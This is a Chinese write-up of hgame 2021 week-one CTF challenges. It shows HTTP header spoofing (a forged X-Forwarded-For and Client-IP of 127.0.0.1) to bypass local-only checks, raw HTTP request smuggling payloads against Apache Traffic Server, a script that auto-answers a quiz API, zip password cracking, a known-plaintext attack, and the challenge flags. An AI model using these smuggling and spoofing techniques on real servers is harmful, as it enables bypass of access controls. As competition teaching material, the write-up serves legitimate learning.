hgame2021 week1 writeup

Web

Hitchhiking_in_the_Galaxy

访问页面,提示“我要搭顺风车!”,打开burpsuite抓包重放,提示405在这里插入图片描述
将GET方法改为POST方法重放,提示“只有使用"无限非概率引擎"(Infinite Improbability Drive)才能访问这里~”在这里插入图片描述
修改User-agent头为:Infinite Improbability Drive
再次重放,提示“特别要求:你得从他的<a href="https://cardinal.ink/">Cardinal</a>过来”

在这里插入图片描述
修改Referer为:https://cardinal.ink/
再次重放,提示“flag仅能通过本地访问获得”
新增X-forwarded-for字段,值为127.0.0.1,拿到flag在这里插入图片描述
hgame{s3Cret_0f_HitCHhiking_in_the_GAl@xy_i5_dOnT_p@nic!}

watermelon

结束一次游戏,发现大于2000分才会返回flag,在project.js中搜索1999,有一个判断,会alert一个字符串
在这里插入图片描述
用base64解码:aGdhbWV7ZG9feW91X2tub3dfY29jb3NfZ2FtZT99
得到flag:hgame{do_you_know_cocos_game?}
另附一个有意思的分析:https://www.zhihu.com/question/440727080/answer/1699641717

宝藏走私者

访问题目,提示SECRET_DATA只能本地访问
在这里插入图片描述
点击超链接跳转到/secret,发现响应包中提示需要client-ip
在这里插入图片描述
将client-ip改为127.0.0.1,发现也不可以,猜测是反代会将真实ip带到后面,同时可以看到服务是ATS/7.1.2,可以联想到HTTP走私
在这里插入图片描述
想要详细了解http走私的可以参考文章:
https://regilero.github.io/english/security/2019/10/17/security_apache_traffic_server_http_smuggling/#toc7

https://paper.seebug.org/1048/#511-te-cl
同时也可以了解一下分块传输格式:
在这里插入图片描述
使用文章中的不同方法构造http走私请求包
在这里插入图片描述
方法一(三个图以示区分,可以自行尝试):
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
方法二:
在这里插入图片描述
方法三:
在这里插入图片描述

智商检测鸡

发现都是ax+b的定积分,使用sympy库写一个爬虫脚本
脚本如下:

from lxml import etree
from sympy import *
import requests
import json

s = requests.session()

step: int = 0

while true:

    q = s.get('http://r4u.top:5000/api/getQuestion')

    q = json.loads(q.text)['question']

    q = etree.HTML(q)

    a = q.xpath('//math/mrow/msubsup/mrow[1]/mo/text()')[0]

    b = q.xpath('//math/mrow/msubsup/mrow[1]/mn/text()')[0]

    c = q.xpath('//math/mrow/msubsup/mrow[2]/mn/text()')[0]

    d = q.xpath('//math/mrow/mn[1]/text()')[0]

    e = q.xpath('//math/mrow/mn[2]/text()')[0]

    x = symbols('x')

    x = integrate(int(d) * x + int(e), (x, int(a + b), int(c)))

    x = round(x, 2)

    header = {
    
    
        "Content-Type": "application/json;charset=UTF-8"
    }

    res = s.post('http://r4u.top:5000/api/verify', data='{"answer":' + (daan := str(round(x, 2))) + '}', headers=header)

    step += 1

    print(step, a, b, c, d, e, daan, json.loads(res.text)["result"])

    if step == 100:
        flag = s.get('http://r4u.top:5000/api/getFlag')
        flag = json.loads(flag.text)
        print("flag:", flag["flag"])
        break

走私者的愤怒

同样也是http走私,尝试上面那题的一样的包,提示状态码400,发现一个请求中不能有两个Host在这里插入图片描述
并且他会自动添加Client-IP,此时发送的第二个请求会变为

GET /secret HTTP/1.1
Client-IP:127.0.0.1
foo:GET / HTTP/1.1
Host: police.liki.link
Content-Length : 47
Client-IP: 你的真实ip

后面的Client-IP会覆盖前面的,就会回显你的真实ip,所以需要这样构造请求
在这里插入图片描述
这时候发送的第二个请求拼接完会变为,后面全变成了请求体

GET /secret HTTP/1.1
Host: police.liki.link
client-ip: 127.0.0.1
Content-Length:200


GET / HTTP/1.1
Host: police.liki.link
Content-Length : 90

GET /secret HTTP/1.1
Host: police.liki.link
client-ip: 127.0.0.1
Content-Length:200

拿到flag
hgame{Fe3l^tHe~4N9eR+oF_5mu9gl3r!!}

MISC

Base全家福

base64:
R1k0RE1OWldHRTNFSU5SVkc1QkRLTlpXR1VaVENOUlRHTVlETVJCV0dVMlVNTlpVR01ZREtSUlVIQTJET01aVUdSQ0RHTVpWSVlaVEVNWlFHTVpER01KWElRPT09PT09

base32:
GY4DMNZWGE3EINRVG5BDKNZWGUZTCNRTGMYDMRBWGU2UMNZUGMYDKRRUHA2DOMZUGRCDGMZVIYZTEMZQGMZDGMJXIQ======

from hex:
6867616D657B57653163306D655F74305F4847344D335F323032317D

flag:
hgame{We1c0me_t0_HG4M3_2021}

不起眼压缩包的养成的方法

binwalk -e 0x4qE_bba7407dbadcd35fd0915ffdac4b74c5.jpg 分离图片中的zip在这里插入图片描述
发现压缩包需要输入密码,以图搜图或直接用ARCHPR爆破8位数字解开,密码为:70415155在这里插入图片描述
发现里面又套了一个加密plain.zip压缩包,并且有明文NO PASSWORD.txt文件,在加密的plain.zip里也存在一个NO PASSWORD.txt,且CRC32相同,可以联想到已知明文攻击,将明文NO PASSWORD.txt单独压缩成NO PASSWORD.zip,压缩方式如图
在这里插入图片描述
回到ARCHPR选择已知明文攻击,拿到密码:C8uvP$DP
在这里插入图片描述
解压出flag.zip,发现是伪加密,用010editor打开,距文件头50 4B 03 04的偏移为6个字节的09改为00,距核心目录区头50 4B 01 02的偏移为8个字节的01改为00,即可打开
在这里插入图片描述
将flag.txt放到010editor中,发现为HTML实体编码,解码拿到flag
在这里插入图片描述
hgame{2IP_is_Usefu1_and_Me9umi_i5_W0r1d}

Galaxy

Wireshark导出http对象,可以见到一个galaxy.png,修改高度(蓝色位置),flag就出现了
在这里插入图片描述
在这里插入图片描述

Word REMASTER

拿到压缩包,用7zip打开first.docx(或者直接修改后缀为.zip打开),在word目录下存在password.xml,可以联想到为brainfuck编码
解码工具:https://www.splitbrain.org/services/ook
在这里插入图片描述
解码后得到maimai.docx的密码DOYOUKNOWHIDDEN?
打开word,勾选文件-选项-显示-隐藏文字,发现了一段由tab和空格组成的内容,将其框选-右键-字体,取消勾选隐藏

在这里插入图片描述
在这里插入图片描述
将其复制到编辑器内(图省事直接扔到vscode里保存为target.c了)在这里插入图片描述
使用stegsnow工具解出flag
hgame{Cha11en9e_Whit3_P4ND0R4_P4R4D0XXX}

猜你喜欢

转载自blog.csdn.net/m0_48066270/article/details/113730439